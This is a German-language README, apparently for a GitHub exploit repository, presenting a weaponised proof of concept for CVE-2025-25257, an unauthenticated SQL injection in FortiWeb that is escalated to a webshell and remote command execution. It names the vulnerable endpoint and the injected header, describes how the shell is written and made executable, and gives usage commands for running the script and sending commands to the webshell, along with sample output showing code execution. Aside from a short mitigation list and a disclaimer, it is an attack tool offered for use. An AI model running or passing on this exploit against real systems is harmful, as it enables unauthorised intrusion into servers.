🚨 CVE-2025-25257 – FortiWeb SQLi to RCE

Kritische SQL-Injection → Webshell-Ausführung

Entdeckt und bewaffnet von 0xgh057r3c0n

🧠 Schwachstellenübersicht

CVE-2025-25257 betrifft FortiWeb-Systeme, die den Endpunkt /api/fabric/device/status bereitstellen, bei dem die Eingabe des Authorization-Headers nicht ordnungsgemäß bereinigt wird.

Ein Angreifer kann eine nicht authentifizierte SQL-Injection durchführen, um eine Webshell auf den Server zu schreiben und Befehle remote auszuführen.

💥 Angriffsablauf

SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod Gadget ➜ Trigger ➜ Webshell RCE

📍 Angreifbarer Endpunkt

GET /api/fabric/device/status
Header: Authorization: Bearer ';<SQLi>

🔓 Exploit-Funktionen

• SQLi über Bearer-Token
• SQL INTO OUTFILE zum Ablegen einer Shell
• Python-Hook löst chmod aus
• Befehle werden über User-Agent ausgeführt
• Vollautomatischer PoC

🧪 Verwendung

python3 CVE-2025-25257.py -t https://target-host.com

Anschließend:

curl -k -H "User-Agent: whoami" https://target-host.com/cgi-bin/x.cgi

🔧 Anforderungen

• Python 3.6+
• requests-Modul

Installation:

pip install requests

📤 Beispielausgabe

[*] Writing Webshell Chunk: #!/bin/sh ...
[>] Exporting Webshell to File...
[*] Writing Chmod Gadget Chunk: import os ...
[>] Triggering chmod via Python Hook...
[*] Executing `id` via Webshell...
uid=33(www-data) gid=33(www-data)

[+] Webshell Ready:
    > https://target-host.com/cgi-bin/x.cgi
    > Send commands via User-Agent header

📊 CVSS-Bewertung

🛡️ Abhilfe

• Aktualisieren Sie die FortiWeb-Firmware (falls Patch verfügbar)
• Bereinigen Sie alle Header-Eingaben
• Schränken Sie Dateischreibpfade und CGI-Ausführung ein

👨‍💻 Autor

0xgh057r3c0n 🔗 github.com/0xgh057r3c0n

⚠️ Haftungsausschluss

Dieser Proof-of-Concept dient ausschließlich zu Bildungs- und autorisierten Testzwecken. Nutzung auf eigenes Risiko. Der Autor übernimmt keine Verantwortung für Missbrauch.